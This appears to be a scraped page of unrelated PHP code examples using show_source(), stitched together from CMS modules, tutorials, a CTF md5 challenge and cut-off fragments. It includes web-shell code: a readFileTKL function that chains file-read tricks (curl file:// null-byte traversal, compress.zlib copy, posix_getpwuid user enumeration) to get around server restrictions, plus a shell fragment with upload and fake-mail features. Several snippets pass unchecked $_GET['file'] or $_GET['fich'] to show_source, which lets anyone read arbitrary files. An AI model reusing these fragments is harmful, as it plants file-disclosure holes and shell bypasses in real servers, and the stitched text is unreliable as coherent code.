function show_source_code($source_code)
{
    foreach ($source_code as $key => $item) {
        echo "<h2>Titel: " . $key . "</h2>";
        show_source($item);
        echo "<br/>";
    }
}
Exemple #2
1
function page_main()
{
    topform();
    $txt = show_source(__FILE__);
    tableit($txt);
    echo '<hr> Debug Script <hr>';
    show_source(__FILE__);
    phpinfo();
    return 1;
}
Exemple #3
0
/**
 * BreakPoint
 *
 * Depura el contenido de una variable y depura el valor llamado.
 *
 * Ahora se puede seleccionar si se desea que se muestre el código fuente de una funcion o si no.
 * V 1.2: Para que funcione, ahora debe estar la variable:
 *		[APP::$debug = true]
 *
 * @author Adrián Méndez <*****@*****.**>
 * @Version 1.2
 * @Date 18/09/2015
 */
function breakpoint($var, $show_source = false)
{
    if (class_exists('APP') and APP::$debug == false) {
        return true;
    }
    $break = debug_backtrace();
    debug($var, true, $break);
    if (isset($this)) {
        unset($this);
    }
    if ($show_source) {
        show_source($break[0]['file']);
    }
    die('Fin del Brakepoint: ' . date('Y-m-d H:i:s'));
}
module dependency resolution and provides module methods accessible to external <br/>
modules. Please see module system source code below.</li>
<li>Module - level - takes care of end-user side application requirements. </li>
</ol>
<p>For forms processing, the general steps used are:
<ol>
<li>Scripts are executed as follows: <b>form_&lt;name&gt;</b> -> <b>process_&lt;name&gt;</b> -> <b>display_&lt;name&gt;</b></li>
<li>A form is displayed, then the end-user fills it up and submits it. Form and <br />
URL variables are passed to the processing script for validation and database entry.</li>
<li>Database tables are displayed.</li>
</ol>
The developer will find this extensively used throughout the internal and external modules.
</p>

Please browse through any of the available module's source code <a href="index.php?page=MODULES&method=MODDB">here</a>.
</p>
<h3>MODULE DATA MODEL</h3>
<p>This is the first-tier data model in the GAME platform. Second-tier data models<br />
are the content (data) of the module data model. What the first-tier data model <br />
contains, in short, is meta-data about the loaded modules and how they relate to one <br />
another.</p>
<img src="../images/game_model.png" border="0"/>

<h3>MODULE CLASS SOURCE CODE</h3>
<small>
<?php 
show_source("../class.module.php");
?>
</small>
</td></tr></table>
Exemple #5
0
function readFileTKL ($function_tkl,$pwd) {

switch($function_tkl){
case "show_source":
htmlspecialchars(show_source($pwd));
break;
case "readfile":
htmlspecialchars(readfile($pwd));
break;
case "include":
htmlspecialchars(include $pwd);
break;
case "fpassthru":
$fp = fopen($pwd, 'r');
htmlspecialchars(fpassthru($fp));
break;
case "file":
$output = file($pwd);
foreach( $output as $line )
{
    echo htmlspecialchars($line . "\n");
}
break;
case "highlight_file":
htmlspecialchars(highlight_file($pwd));
break;
case "curl":
$tkl_cu =
curl_init("file:///".$pwd."\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($tkl_cu);
htmlspecialchars(var_dump(curl_exec($tkl_cu)));
break;
case "posix_getpwuid":
for($uid=0;$uid<2000;$uid++){
$gaza_ar = posix_getpwuid($uid);
if (!empty($gaza_ar)) {
while (list ($key, $val) = each($gaza_ar)){
print "$val:";
 }
 print "\n";
 }
}
break;
case "copy":
$tmp=tempnam($ooopo, "cx");
if(copy("compress.zlib://".$pwd, $tmp)){
$ioio = fopen($tmp, "r");
echo fread($ioio, filesize($tmp));
fclose($ioio);
unlink($tmp);
};
break;
case "fgets":
$handle = @fopen($pwd, "r");
if ($handle) {
    while (($buffer = fgets($handle, 4096)) !== false) {
        echo  $gaza_file.$buffer;
    }
    fclose($handle);
}
break;
case "file_get_contents":
echo file_get_contents($pwd);

break;
case "fread":
$handle = fopen($pwd, "r");
echo  fread($handle, filesize($pwd));
fclose($handle);
break;
case "stream_get_contents":
if ($stream = fopen($pwd, 'r')) {
     echo  stream_get_contents($stream, -1, 10);
    fclose($stream);
}
break;
}
}
    $XMLGenerator->AddNode("Rights_CopyrightAndOtherRestrictions", "\r\n\t<copyrightAndOtherRestrictions>\r\n\t<source>\r\n\t\t\t<string language=\"none\">LOMv1.0</string>\r\n\t\t</source>\r\n\t\t<value>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</value>\r\n\t</copyrightAndOtherRestrictions>");
    $XMLGenerator->AddNode("Rights_Description", "\r\n\t<description>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</description>");
    $XMLGenerator->AddNode("Relation_Kind", "</rights>\r\n<relation>\r\n\t<kind>\r\n\t\t<source>\r\n\t\t\t<string language=\"none\">LOMv1.0</string>\r\n\t\t</source>\r\n\t\t<value>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</value>\r\n\t</kind>");
    $XMLGenerator->AddNode("Relation_Resource_Identifier_Catalog", "\r\n\t<resource>\r\n\t\t<identifier>\r\n\t\t\t<catalog>", "</catalog>");
    $XMLGenerator->AddNode("Relation_Resource_Identifier_Entry", "\r\n\t\t\t<entry>", "</entry>\r\n\t\t</identifier>");
    $XMLGenerator->AddNode("Relation_Resource_Description", "\r\n\t\t<description>\r\n\t\t\t<string language=\"pt\">", "</string>\r\n\t\t</description>");
    $XMLGenerator->AddNode("Annotation_Entity", "\r\n\t</resource>\r\n</relation>\r\n<annotation>\r\n\t<entity>[BEGIN:VCARD", "END:VCARD]\r\n\t</entity>");
    $XMLGenerator->AddNode("Annotation_Date", "\r\n\t<date>\r\n\t\t<dateTime>", "</dateTime>\r\n\t</date>");
    $XMLGenerator->AddNode("Annotation_Description", "\r\n\t<description>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</description>");
    $XMLGenerator->AddNode("Classification_Purpose", "\r\n</annotation>\r\n<classification>\r\n\t<purpose>\r\n\t\t<source>\r\n\t\t\t<string language=\"none\">LOMv1.0</string>\r\n\t\t</source>\r\n\t\t<value>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</value>\r\n\t</purpose>");
    $XMLGenerator->AddNode("Classification_TaxonPath_Source", "\r\n\t<taxonPath>\r\n\t\t<source>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</source>");
    $XMLGenerator->AddNode("Classification_TaxonPath_Taxon_ID", "\r\n\t\t<taxon>\r\n\t\t\t<id>", "</id>");
    $XMLGenerator->AddNode("Classification_TaxonPath_Taxon_Entry", "\r\n\t\t\t<entry>\r\n\t\t\t\t<string language=\"pt\">", "</string>\r\n\t\t\t</entry>\r\n\t\t</taxon>\r\n\t</taxonPath>");
    $XMLGenerator->AddNode("Classification_Keyword", "\r\n\t<keyword>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</keyword>");
    $XMLGenerator->AddNode("Classification_Description", "\r\n\t<description>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</description>\r\n</classification>");
    /*
    GetXML returns the XML for further processing
    */
    $xml = $XMLGenerator->GetXML();
    /*
    EchoXML directly echos the XML out.
    */
    //$XMLGenerator->EchoXML();
    $XMLGenerator->SaveXML();
    //O ficheiro xml a mostrar deve ter o mesmo nome do ficheiro xml em mysql2lom
    echo "<br>";
    echo print_string("metadatagenok", "metadatalom");
    echo "<hr>";
    show_source($CFG->dataroot . "/" . $cid . "/metadata/lommetadata_" . $cid . "_" . $loid . ".xml");
    echo "<hr>";
}
 public static function renderhtaccess()
 {
     self::renderHeader('.htaccess');
     ?>
     <div class="postbox" id="mainwp-code-display">
         <h3 class="mainwp_box_title"><span><i class="fa fa-file-code-o"></i> .htaccess</span></h3>
         <div class="inside">
         <?php 
     show_source(ABSPATH . '.htaccess');
     ?>
         </div>
     </div>
     <?php 
     self::renderFooter('.htaccess');
 }
<!-- Cap01/muestra_codigo.php -->
<html>
<head>
   <title>Muestra Código</title>
</head>
<body>
<?php 
// Determinamos el fichero a mostrar
if (empty($_GET['fich'])) {
    $fichero = basename($_SERVER['SCRIPT_NAME']);
} else {
    $fichero = $_GET['fich'];
}
// Si existe el fichero se muestra su contenido
if (file_exists($fichero)) {
    echo "Contenido del fichero: <b>{$fichero}</b>\n<hr />\n";
    show_source($fichero);
} else {
    echo "El fichero '{$fichero}' no existe";
}
?>
</body>
</html>
 public static function renderhtaccess()
 {
     ?>
     <div class="postbox" id="mainwp-code-display">
         <h3 class="hndle" style="padding: 8px 12px; font-size: 14px;"><span>.htaccess</span></h3>
         <div style="padding: 1em;">
         <?php 
     @show_source(ABSPATH . '.htaccess');
     ?>
         </div>
     </div>
     <?php 
 }
Exemple #10
0
if (!in_array($CURUSER['id'], $allowed_ids))
    stderr('Error', 'Access Denied!');
*/
if ($INSTALLER09['staff_viewcode_on'] == true) {
    $THIS_FILE = "view.php";
    if (isset($_GET["file"])) {
        $file = $_GET["file"];
    } else {
        $file = $THIS_FILE;
    }
    if (!preg_match('/\\.\\.\\//', $file)) {
        $fullFilename = "C:\\AppServ/www/{$file}";
        /** CHANGE THIS LINE TO YOUR PATH **/
    }
    $path_parts = pathinfo("{$fullFilename}");
    if (isset($fullFilename) && is_file($fullFilename) && is_readable($fullFilename) && $path_parts["extension"] == "php") {
        $HTMLOUT .= '<div class="source">';
        show_source($fullFilename);
        $HTMLOUT .= '</div>';
    } elseif (!isset($fullFilename)) {
        $HTMLOUT .= '<p>Hey, wise guy!  What do you think youre doing?  Tampering with the filename is not allowed.  Go hack somebody elses web server, and leave me alone.  Punk.</p>';
    } elseif ($path_parts["extension"] != "php") {
        $HTMLOUT .= '<p>Whoops!  You can only view the source of files with a .php extension.  It wouldnt make sense to view the source of, say, an image, now would it?</p>';
    }
} else {
    $HTMLOUT = '';
    $HTMLOUT .= "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\r\n    \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n    <html xmlns='http://www.w3.org/1999/xhtml'>\r\n    <head>\r\n    <title>Sorry</title>\r\n    </head>\r\n    <body><div style='font-size:33px;color:white;background-color:red;text-align:center;'>View source code option disabled currently !!</div></body></html>";
    print $HTMLOUT;
    exit;
}
print $HTMLOUT;
Exemple #11
0
    $type = 'Access Apache 2.2 with virtual host referer and user agent';
    $log = 'potsky.com 62.129.4.154 - rb [19/Dec/2013:16:11:22 +0100] "POST /P1mpmyL0g-dev/inc/getlog.pml.php?1387465882519 HTTP/1.1" 200 7660 "https://home.potsky.com/P1mpmyL0g-dev/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.73.11 (KHTML, like Gecko) Version/7.0.1 Safari/537.73.11"';
    echo test($type, $regex, $match, $types, $log);
    $type = 'Access Apache 2.2 with tuning options';
    $log = '62.129.4.154 - - [29/Nov/2013:18:13:22 +0100] "GET /PimpMyLogs/inc/getlog.pml.php?ldv=true&file=access&max=20 HTTP/1.1" 500 96 "http://www.potsky.com/PimpMyLogs/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.71 (KHTML, like Gecko) Version/7.0 Safari/537.71" 10/10003980';
    echo test($type, $regex, $match, $types, $log);
    $type = 'Access Apache 2.2 dummy SSL connection';
    $log = '::1 - - [27/Nov/2013:12:02:08 +0100] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.25 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e DAV/2 PHP/5.3.27 (internal dummy connection)"';
    echo test($type, $regex, $match, $types, $log);
    ?>
</div></div><div class="tab-pane" id="configurationtab"><div class="panel-body"><div class="panel-group" id="accordion2"><div class="panel panel-default"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="#accordion2" href="#collapseOne2">Code <code><?php 
    echo get_config_file_path();
    ?>
</code></a></h4></div><div id="collapseOne2" class="panel-collapse collapse"><div class="panel-body"><pre><?php 
    if (file_exists(get_config_file_path())) {
        show_source(get_config_file_path());
    } else {
        echo 'configuration file does not exist';
    }
    ?>
</pre></div></div></div><div class="panel panel-default"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="#accordion2" href="#collapseTwo2">Stats <code><?php 
    echo get_config_file_path();
    ?>
</code></a></h4></div><div id="collapseTwo2" class="panel-collapse collapse"><div class="panel-body"><pre><?php 
    if (file_exists(get_config_file_path())) {
        var_export(@stat(get_config_file_path()));
    } else {
        echo 'configuration file does not exist';
    }
    ?>
</pre></div></div></div><div class="panel panel-default"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="#accordion2" href="#collapseFive2"><?php 
Exemple #12
0
 /**
  * 查看指定文件到源码
  * 极度危险,产品上线后切记关掉调试信息
  */
 public function showSource()
 {
     hc();
     show_source($_GET['file']);
 }
function callshsrc($showsc)
{
    if (isset($showsc) && filesize($showsc) == "0") {
        print "<p><b>[ Sorry, U choosed an empty file or the file not exists ]";
        die;
    } elseif (isset($showsc) && filesize($showsc) !== "0") {
        print "<p><table width=100% height=10% bgcolor=#dadada border=1><tr><td>";
        if (!show_source($showsc) || !function_exists('show_source')) {
            print "<center><font color=black size=2><b>[ Sorry can't complete the operation ]</font></center>";
            die;
        }
        print "</td></tr></table>";
        die;
    }
}
Exemple #14
0
 */
require_once 'env.inc.php';
require_once $gfwww . 'include/pre.php';
global $sys_show_source;
if (!$sys_show_source) {
    exit_permission_denied();
}
$file = getStringFromRequest('file');
if (!$file) {
    exit_error(_('Missing File Argument'), _('A file must be specified for this page.'));
}
if (strstr($file, '..')) {
    exit_error(_('Invalid File Argument'), _('The file argument is invalid.'));
}
$dir = dirname($file);
// If this is a legal dir, then it is under the docroot, else use basename
if ($dir) {
    $fname = getStringFromServer('DOCUMENT_ROOT') . $file;
} else {
    $fname = basename($file);
}
if (!file_exists($fname) || @is_dir($fname)) {
    exit_error(_('File Not Found'), _('Cannot find specified file to display.'));
}
$HTML->header(array('title' => sprintf(_('Source of %1$s'), $file)));
show_source($fname);
$HTML->footer(array());
// Local Variables:
// mode: php
// c-file-style: "bsd"
// End:
	/**
	 * main function for module
	 *
	 * @param array $post_vars Post Variables
	 * @param array $get_vars Get Variables
	 * @param array $post_files File Submission Data
	 * @param boolean $validuser valid user flag
	 * @param boolean $isadmin admin user flag
	 * @todo describe the functionality of the function in this documentation block
	 */
	function _module() {

		if (func_num_args()>0) {
			$this->arg_list = func_get_args();
			$this->post_vars = $this->arg_list[0];
			$this->get_vars = $this->arg_list[1];
			$this->post_files = $this->arg_list[2];  // comes from index.php
			$this->validuser = $this->arg_list[3];
			$this->isadmin = $this->arg_list[4];
		}

		$module = new module;

		switch ($this->get_vars["method"]) {
			case "SQL":
				if ($this->post_vars["submitsql"]) {
					$module->process_module_sql($this->post_vars, $this->get_vars, $this->post_files);
				}
				$module->form_module_sql($this->post_vars, $this->get_vars);
				break;
			case "LOC":
				if ($this->post_vars["submitaccess"]) {
					$module->process_permissions($this->post_vars, $this->get_vars);
				}
				$module->form_locations($this->post_vars, $this->get_vars);
				break;
			case "MENU":
				if ($this->get_vars["moveup"] || $this->get_vars["movedown"]) {
					$module->process_order($this->post_vars, $this->get_vars);
					//header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES&method=MENU");
				}
				$module->form_menuorder($this->post_vars, $this->get_vars);
				break;
			case "HELP":
				site::display_file("../module.help.php");
				print "<h3>MODULE CLASS SOURCE CODE</h3>";
				print "<small>";
				show_source("../class.module.php");
				print "</small>";
				break;
			case "PERMS":
				if ($this->post_vars["submitaccess"]) {
					$module->process_permissions($this->post_vars, $this->get_vars);
				}
				$module->form_permissions($this->post_vars, $this->get_vars);
				break;
			case "INIT":
				if ($this->post_vars["submitinitmod"]=="Update Activation Status") {
					$module->process_initmodule($this->post_vars);
					// comment out line below for debugging
					// while developing modules
					//header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES&method=INIT&initmod=1");
				}
				// module activation
				$module->form_initmodule();
				break;
			case "MODDB":
			default:
				switch ($this->post_vars["submitmodule"]) {
					case "Yes, Delete Module":
						$module->delete_module($this->post_vars);
						header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES");
						break;
					case "Delete Module":
						print "<font color='red' size='3'><b>Are you sure you want to DELETE this module?</b></font>";
						$module->form_module($this->get_vars, $this->post_vars);
						break;
					case "Add Module":
					default:
						// Commented off by Aditya Naik for v1.9
						//if ($module_id = $module->process_module($this->post_vars, $this->post_files)) {
							// comment out line below for debugging
							// while developing modules
							//header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES");
							//print "hello";
						//}

						// Added by Aditya Naik for v1.9
						// Moved out of the empty if loop
						$module_id = $module->process_module($this->post_vars, $this->post_files);

						// Added by Aditya Naik for v1.9
						// this will send the module id of the newly installed
						// module to the form module function
						$module->form_module($this->get_vars, $this->post_vars, $module_id);
					$module->display_modules();
				}
		}
	}
Exemple #16
0
  modify it under the terms of the Affero General Public License as
  published by Affero, Inc., either version 1 of the License, or
  (at your option) any later version.

  YaCE 3 is distributed in the hope that it will be
  useful, but WITHOUT ANY WARRANTY, without even the implied warranty
  of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  Affero General Public License for more details.

  You should have received a copy of the Affero General Public
  License in the COPYING file that comes with YaCE3. If
  not, write to Affero, Inc., 510 Third Street, Suite 225, San
  Francisco, CA 94107 USA.
*/
if ($_SERVER["QUERY_STRING"] == "source") {
    show_source("sqlcon.php");
    return;
}
class mysql
{
    var $con;
    var $host;
    var $user;
    var $pass;
    var $db;
    var $cache = array();
    function mysql($host, $user, $pass, $db)
    {
        $this->host = $host;
        $this->user = $user;
        $this->pass = $pass;
Exemple #17
0
        return $words[$t] . " " . $words[$o];
    }
    if ($x <= 999) {
        // get the tens
        $t = $x % 100;
        // get the hundreds
        $h = $x - $t;
        $h = $h / 100;
        return $words[$h] . " hundred " . intToString($t);
    }
    if ($x <= 999999) {
        $first = substr($x, 0, strlen($x) - 3);
        $last = substr($x, strlen($x) - 3, 3);
        $first = intval($first);
        $last = intval($last);
        return intToString($first) . " thousand and " . intToString($last);
    }
    return 'Number too big';
}
$app->get('/number/:num', function ($num) use($app) {
    $num = intval($num);
    $result = array('answer' => ucwords(intToString($num)), 'input' => $num);
    $response = $app->response();
    $response['Content-type'] = 'application/json';
    $response['X-Powered-By'] = 'PHP 5 & Slim';
    echo json_encode($result);
});
$app->get('/source', function () {
    show_source('data.php');
});
$app->run();
 }
 rawoutput("</ul>");
 if ($url) {
     rawoutput("<h1><a name='source'>");
     output("Source of: %s", htmlentities($url, ENT_COMPAT, getsetting("charset", "ISO-8859-1")));
     rawoutput("</a></h1>");
     $page_name = $url;
     if (substr($page_name, 0, 1) == "/") {
         $page_name = substr($page_name, 1);
     }
     if ($legal_files[$url]) {
         rawoutput("<table bgcolor=#cccccc>");
         rawoutput("<tr><td>");
         rawoutput("<font size=-1>");
         ob_start();
         show_source($page_name);
         $t = ob_get_contents();
         ob_end_clean();
         rawoutput($t);
         rawoutput("</font>", true);
         rawoutput("</td></tr></table>", true);
     } else {
         if ($illegal_files[$url] != "" && $illegal_files[$url] != "X") {
             $reason = translate_inline($illegal_files[$url]);
             output("`nCannot view this file: %s`n", $reason);
         } else {
             output("`nCannot view this file.`n");
         }
     }
 }
 popup_footer();
Exemple #19
0
            break;
        }
        $ok = fwrite($fp1, $read);
        if (empty($ok)) {
            echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Uploading File</DIV>";
            break;
        }
    }
    if (!empty($ok)) {
        echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] File Was Successfuly Uploaded</DIV>";
    }
}
flush();
// Function to visulize Format Color Source Code PHP
if ($sfc != "") {
    $showcode = show_source("{$sfc}");
    echo "<font size=4> {$showcode} </font>";
}
// Function to Visualize all infomation files
if ($fileinfo != "") {
    $infofile = stat("{$fileanalize}");
    while (list($info, $value) = each($infofile)) {
        echo " Info: {$info}  Value: {$value} <br>";
    }
}
// Function to send fake mail
if ($fake == 1) {
    echo "<FORM METHOD=POST ACTION=\"{$SCRIPT_NAME}?{$QUERY_STRING}&send=1\">";
    echo "Your Fake Mail <INPUT TYPE=\"\" NAME=\"yourmail\"><br>";
    echo "Your Cavy:<INPUT TYPE=\"\" NAME=\"cavy\"><br>";
    echo "Suject: <INPUT TYPE=\"text\" NAME=\"subject\"><br>";
Exemple #20
0
    private function generateCodes()
    {
        mkdir($this->tmpName . '/datas/sources/', 0755);
        $filesList = $this->datastore->getRow('files');
        $files = '';
        foreach ($filesList as $row) {
            $id = str_replace('/', '_', $row['file']);
            $subdirs = explode('/', dirname($row['file']));
            $dir = $this->tmpName . '/datas/sources';
            foreach ($subdirs as $subdir) {
                $dir .= '/' . $subdir;
                if (!file_exists($dir)) {
                    mkdir($dir, 0755);
                }
            }
            $source = show_source(dirname($this->tmpName) . '/code/' . $row['file'], true);
            $files .= '<li><a href="#" id="' . $id . '" class="menuitem">' . htmlentities($row['file'], ENT_COMPAT | ENT_HTML401, 'UTF-8') . "</a></li>\n";
            file_put_contents($this->tmpName . '/datas/sources/' . $row['file'], substr($source, 6, -8));
        }
        $blocjs = <<<JAVASCRIPT
  <script src="facetedsearch.js"></script>


  <script>
  "use strict";

  \$('.menuitem').click(function(event){
    \$('#results').load("sources/" + event.target.text);
    \$('#filename').html(event.target.text + '  <span class="caret"></span>');
  });

  var fileParam = window.location.search.split('file=')[1];
  if(fileParam !== undefined) {
    \$('#results').load("sources/" + fileParam);
    \$('#filename').html(fileParam + '  <span class="caret"></span>');
  }
  

  </script>
JAVASCRIPT;
        $html = $this->getBasedPage('codes');
        $html = $this->injectBloc($html, 'BLOC-JS', $blocjs);
        $html = $this->injectBloc($html, 'FILES', $files);
        $this->putBasedPage('codes', $html);
    }
Exemple #21
0
function showSource($filename)
{
    show_source($filename);
}
Exemple #22
0
     $att_size = @filesize($fic);
     if (file_exists($fic)) {
         if ($apli == "forum_npds") {
             include "auth.php";
             $sql = "UPDATE {$upload_table} SET compteur = compteur+1 WHERE att_id = '{$att_id}'";
             sql_query($sql);
         }
         // Output file to the browser
         header('Expires: Thu, 01 Jan 1970 00:00:01 GMT');
         header('Cache-Control: max-age=60, must-revalidate');
         // work with mimetypes.php for showing source'code
         if ($att_type == "text/source") {
             include "meta/meta.php";
             echo import_css($Default_Theme, $language, $site_font, "", "");
             echo "</head>\n<body>";
             show_source($fic);
             echo "</body></html>";
             die;
         }
         if ($att_type == "application/x-shockwave-flash") {
             header("Content-type: application/x-shockwave-flash");
         } else {
             header("Content-Type: {$att_type}; name=\"" . basename($att_name) . "\"");
         }
         header("Content-length: {$att_size}");
         header("Content-Disposition: inline; filename=\"" . basename($att_name) . "\"");
         readfile($fic);
     } else {
         header("location: index.php");
     }
 } else {
Exemple #23
0
<?php

include_once "../../lib/config.php";
include_once "HTML/FormPersister.php";
ob_start(array('HTML_FormPersister', 'ob_formPersisterHandler'));
$_POST['test']['text']['first'] = 'значение';
?>
<form method="get">
	<input type="text" name="test[text][first]">
</form>
<hr><?show_source(__FILE__)?>
Exemple #24
0
 function fancy_view_source()
 {
     global $HTTP_GET_VARS;
     $row_num_spacer = "&nbsp;&nbsp;";
     $ret = "";
     if ($HTTP_GET_VARS['internal_request'] || !$this->Conf->Fancy_view_line_numbers) {
         show_source($HTTP_GET_VARS['file']);
         return;
     } else {
         if ($this->Conf->Http_auth_username && $this->Conf->Http_auth_password) {
             $internal_url = "http://{$this->Conf->Http_auth_username}:{$this->Conf->Http_auth_password}@{$GLOBALS['HTTP_HOST']}{$GLOBALS['PHP_SELF']}?action=fancy_view_source&file={$this->Conf->Tmp_file}&internal_request=1";
         } else {
             $internal_url = "http://{$GLOBALS['HTTP_HOST']}{$GLOBALS['PHP_SELF']}?action=fancy_view_source&file={$this->Conf->Tmp_file}&internal_request=1";
         }
         if (!($code_array = @file($internal_url))) {
             $ret .= "<H2>An error occured</H2>\r\n                  <P>If you are using password protection for Ide.php, please enter username and password in the 'Options' page.</P>";
         } else {
             $fancy_code_str = join("", $code_array);
             $fancy_code_array = split("<(br|BR)[[:space:]]*/*>", $fancy_code_str);
             if (sizeof($fancy_code_array)) {
                 $row_num_width = strlen(sizeof($fancy_code_array));
                 $ret .= ereg_replace("^<code>", "<code><FONT COLOR='{$this->Conf->Fancy_line_number_color}'>" . sprintf("%0{$row_num_width}d", 1) . "{$row_num_spacer}</FONT>", ereg_replace("[[:space:]]", "", $fancy_code_array[0]));
                 for ($i = 1; $i < sizeof($fancy_code_array); $i++) {
                     $row_num = sprintf("%0{$row_num_width}d", $i + 1);
                     $ret .= "\n<BR><FONT COLOR='{$this->Conf->Fancy_line_number_color}'>{$row_num}{$row_num_spacer}</FONT>" . trim($fancy_code_array[$i]);
                 }
             }
         }
     }
     return $ret;
 }
Exemple #25
0
function viewSource($file)
{
    echo '<h3>Source</h3>' . '<pre>' . show_source($file, true) . '</pre>';
}
Exemple #26
0
 /**
  * Return a HTML representation of the current script
  * @return string the clickable HTML representation of the current script
  */
 public function getHtmlScriptSource()
 {
     if (!$this->code) {
         $c = '<span class="breakpoint" id="bp_" onmousedown="return toggleBreakpoint(this, event);">' . '<span class="currentlineIndicator normal"></span>' . '<span class="linenumber">line#</span>' . '<span class="breakpointIndicator normal"></span>' . '</span><br />';
         $code = show_source($this->scriptName, true);
         // br => span id=pb_ ...
         $code = str_replace('<br />', $c, $code);
         // handle incomplete last line, identical to preg: '|(?<!<br >)</span>\n</span>\n</code>$|'
         $code = ereg_replace('"(([^>])|([^/]>)|([^ ]/>)|([^r] />)|([^b]r />)|([^<]br />))(</span>\\n</span>\\n</code>)"', '\\1 $c \\8', $code);
         $code = $this->replaceCallback($code, 'id="bp_"', array($this, "breakpointCB"));
         $code = $this->replaceCallback($code, 'line#', array($this, "lineCB"));
         $this->code = $code;
     }
     return $this->code;
 }
<?php

//just break the md5 algorithm and make a collision ;)
$flag = "OKOKOKOKOKOKOK这个flag";
include 'config.php';
if (empty($_GET['md5'])) {
    die(show_source(__FILE__));
}
if ($_GET['md5'] != '400035577431' && md5($_GET['md5']) == md5('400035577431')) {
    echo $flag;
} else {
    echo 'md5=' . $_GET['md5'] . '<br>';
    echo 'md5($_GET[\'md5\'])   = ' . md5($_GET['md5']) . '<br>';
    echo 'md5(\'400035577431\') = ' . md5('400035577431') . '<br>';
}
<?php

if (!isset($viewer)) {
    $viewer = 'tbs_us_examples.php';
}
// Check if subscript's source is asked.
if (isset($_GET['subsrc'])) {
    show_source('tbs_us_examples_subtpl_login.php');
    exit;
}
// Prepare variabes
if (isset($_GET['art'])) {
    $art = $_GET['art'];
} else {
    $art = 0;
}
$tmpl_article = 'tbs_us_examples_subtpl_article' . $art . '.htm';
$tmpl_menu = 'tbs_us_examples_subtpl_menu.htm';
// Merging main template
include_once 'tbs_class.php';
$TBS = new clsTinyButStrong();
$TBS->LoadTemplate('tbs_us_examples_subtpl.htm');
$TBS->Show();
Exemple #29
0
<?php

/**
 * Created by PhpStorm.
 * User: henrygrech-cini
 * Date: 30/10/2014
 * Time: 22:48
 */
// A very simple HTTP to ZMQ Proxy
// This could be setup as an asynchronous proxy
// but currently we wait for the response.
// The socket can also be invoked externally
// port 5454 has been opened on the AWS EC2 instance
// code to show the code
echo 'Code shown here to illustrate' . PHP_EOL;
echo show_source(__FILE__);
// the actual code
// create the ZMQ Context and Socket
$ctx = new ZMQContext();
$req = new ZMQSocket($ctx, ZMQ::SOCKET_REQ);
// connect to the ZMQ
$req->connect('tcp://localhost:5454');
// prepare the message to send to ZMQ
$message = isset($_GET['msg']) ? $_GET['msg'] : 'Default Hello';
// send the prepared message
$req->send($message);
// output the response
echo PHP_EOL . '[  ' . $req->recv() . '  ]' . PHP_EOL;
// Actual Response SHOW BELOW //
Exemple #30
0
</div><br>

<div align="center"><strong>validateform.inc</strong><div align="left" style="border:solid 2px #0000FF; background:#EAEDFC; color:#000000; padding:2px; width:800px; height:300px; overflow:auto;"> <?php 
show_source("validateform.inc");
?>
 </div></div><br>


<div align="center"><strong>config.php</strong><div align="left" style="border:solid 2px #0000FF; background:#EAEDFC; color:#000000; padding:2px; width:800px; height:300px; overflow:auto;"> <?php 
show_source("config_sample.php");
?>
 </div></div><br>

<div align="center"><strong>clean_input.php</strong><div align="left" style="border:solid 2px #0000FF; background:#EAEDFC; color:#000000; padding:2px; width:800px; height:300px; overflow:auto;"> <?php 
show_source("clean_input.php");
?>
 </div></div><br>

<div align="center"><strong>dbc.php</strong><div align="left" style="border:solid 2px #0000FF; background:#EAEDFC; color:#000000; padding:2px; width:800px; height:300px; overflow:auto;"> <?php 
show_source("dbc.php");
?>
 </div></div><br>

<div align="center"><strong>getrecord.inc</strong><div align="left" style="border:solid 2px #0000FF; background:#EAEDFC; color:#000000; padding:2px; width:800px; height:300px; overflow:auto;"> <?php 
show_source("getrecord.inc");
?>
 </div></div><br>

<p align="center"><a href="javascript:history.go(-1)">&lt; Go Back&lt;</a></p>
<?php 
include "footer.inc";